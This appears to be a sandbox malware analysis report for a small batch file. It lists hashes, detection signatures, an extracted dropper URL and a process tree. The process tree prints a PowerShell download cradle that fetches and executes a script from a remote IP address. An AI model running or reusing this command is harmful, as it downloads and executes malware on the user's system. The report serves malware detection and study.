Analysis
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max time kernel
81s -
max time network
93s -
platform
windows10_x64 -
resource
win10v200722 -
submitted
03-08-2020 09:10
General
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Target
2b4587aed40db6e44cbff092b52b841e.bat
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Size
218B
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MD5
c69dabb8c2f1ca155fb5fe3b0482d0a7
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SHA1
b3faaf0bd82fe27b076ec814b2123cf962ead51b
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SHA256
99824d3ef35b84b0fc40214867e3c54e5518491efa1c5c9d796b1acb2cbe81d7
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SHA512
c5fc762e4d76e921bd55faa68fff86efe13f0b49b7cbeaaf2d4050cbb8e65f400399d84acf4056e36c8f560a8e9a7fd5b9c711fcb0ef23f65f14ea0724eef174
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
ps1.dropper
http://185.103.242.78/pastes/2b4587aed40db6e44cbff092b52b841e
Signatures
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Program crash 1 IoCs
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Suspicious use of AdjustPrivilegeToken 3 IoCs
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Suspicious behavior: EnumeratesProcesses 13 IoCs
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ServiceHost packer 6 IoCs
Detects ServiceHost packer used for .NET malware
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Suspicious use of WriteProcessMemory 3 IoCs
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2b4587aed40db6e44cbff092b52b841e.bat"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/2b4587aed40db6e44cbff092b52b841e');Invoke-SLSOBOXXDQW;Start-Sleep -s 10000"2⤵
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3932 -s 7043⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
4KB
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Filesize
4KB
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